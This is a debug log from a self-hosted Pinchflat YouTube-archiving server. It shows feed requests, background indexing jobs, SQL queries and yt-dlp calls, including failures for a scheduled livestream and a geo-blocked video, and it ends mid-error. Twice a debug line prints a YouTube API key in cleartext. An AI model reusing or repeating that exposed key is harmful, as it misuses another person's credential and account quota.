15:59:46.445 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "ddb05a95-3284-467b-8e82-eb2e6e446d3c"} Pipelines: [:maybe_basic_auth] 15:59:46.445 [debug] QUERY OK source="sources" db=0.1ms idle=1566.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["ddb05a95-3284-467b-8e82-eb2e6e446d3c"] 15:59:46.446 [debug] QUERY OK source="media_items" db=1.2ms idle=1567.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [25, 2000] 15:59:46.448 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1569.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [25] 15:59:46.448 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1180.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564178] 15:59:46.448 [info] Sent 200 in 3ms 15:59:46.638 [info] GET /sources/795ca408-4bd9-43e6-9cce-4e8e49187aca/feed.xml 15:59:46.638 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "795ca408-4bd9-43e6-9cce-4e8e49187aca"} Pipelines: [:maybe_basic_auth] 15:59:46.639 [debug] QUERY OK source="sources" db=0.3ms idle=370.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["795ca408-4bd9-43e6-9cce-4e8e49187aca"] 15:59:46.640 [debug] QUERY OK source="media_items" db=0.8ms idle=194.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [36, 2000] 15:59:46.641 [debug] QUERY OK source="source_metadata" db=0.0ms idle=194.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [36] 15:59:46.641 [debug] QUERY OK source="media_metadata" db=0.0ms idle=192.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564179] 15:59:46.641 [info] Sent 200 in 2ms 15:59:57.636 [info] {"source":"oban","duration":7881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.990 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:00:27.647 [info] {"source":"oban","duration":10441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:31.323 [info] {"args":{"id":37},"id":3799841,"meta":{},"system_time":1770760831323027069,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:00:31.323 [debug] QUERY OK source="sources" db=0.3ms idle=444.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:00:31.324 [debug] QUERY OK source="settings" db=0.9ms idle=445.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:31.325 [debug] QUERY OK source="media_profiles" db=0.7ms idle=446.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:00:31.325 [debug] QUERY OK source="settings" db=0.3ms idle=10.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:31.325 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:00:31.326 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:31.326 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:00:31.477 [debug] QUERY OK source="media_items" db=0.7ms idle=153.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 16:00:31.478 [debug] QUERY OK source="settings" db=0.0ms idle=153.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:31.478 [debug] QUERY OK source="settings" db=0.0ms idle=152.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:31.478 [debug] Running yt-dlp command for action: get_media_attributes 16:00:31.480 [debug] QUERY OK source="settings" db=0.0ms idle=154.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:31.480 [debug] QUERY OK source="settings" db=0.0ms idle=154.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:31.480 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:00:31.480 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9b/fc/9bfc556a11fb2a59736913b7d8e4b434a7ce6f7b31f73b3b6e9e5e3ed61cf1ca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:00:32.938 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9b/fc/9bfc556a11fb2a59736913b7d8e4b434a7ce6f7b31f73b3b6e9e5e3ed61cf1ca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours. 16:00:32.938 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours.\n", 1} 16:00:32.940 [debug] QUERY OK source="media_items" db=1.0ms idle=622.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:00:32.941 [debug] QUERY OK source="tasks" db=0.1ms idle=62.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799880, 37, ~U[2026-02-10 22:00:32Z], ~U[2026-02-10 22:00:32Z]] 16:00:32.941 [info] {"args":{"id":37},"id":3799841,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1618365,"event":"job:stop","queue_time":190299,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:00:57.658 [info] {"source":"oban","duration":10256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.991 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:01:27.669 [info] {"source":"oban","duration":10152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:57.680 [info] {"source":"oban","duration":10459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.992 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:02:27.689 [info] {"source":"oban","duration":7689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:57.697 [info] {"source":"oban","duration":7783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.993 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:03:27.707 [info] {"source":"oban","duration":10289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:57.715 [info] {"source":"oban","duration":7685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.994 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:04:27.723 [info] {"source":"oban","duration":7537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:57.732 [info] {"source":"oban","duration":8081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.995 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:05:27.740 [info] {"source":"oban","duration":7639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:57.749 [info] {"source":"oban","duration":7744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.996 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:06:09.672 [info] {"args":{"id":6},"id":3799842,"meta":{},"system_time":1770761169672353866,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:09.673 [debug] QUERY OK source="sources" db=0.7ms idle=794.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:06:09.674 [debug] QUERY OK source="settings" db=0.6ms idle=794.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:09.674 [debug] QUERY OK source="media_profiles" db=0.7ms idle=795.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:09.674 [debug] QUERY OK source="settings" db=0.0ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:09.675 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 16:06:09.675 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:09.675 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:09.820 [debug] QUERY OK source="media_items" db=0.6ms idle=146.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 16:06:09.821 [debug] QUERY OK source="settings" db=0.0ms idle=147.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:09.821 [debug] QUERY OK source="settings" db=0.0ms idle=146.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:09.821 [debug] Running yt-dlp command for action: get_media_attributes 16:06:09.835 [debug] QUERY OK source="settings" db=0.0ms idle=160.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:09.835 [debug] QUERY OK source="settings" db=0.0ms idle=160.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:09.835 [debug] QUERY OK source="settings" db=0.0ms idle=15.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:09.835 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/15/ce/15ce699ea373ef79691921a4c9b993ac4fa06c8deb4395ebf6b727229f916f1c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:06:11.387 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/15/ce/15ce699ea373ef79691921a4c9b993ac4fa06c8deb4395ebf6b727229f916f1c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:06:11.387 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available 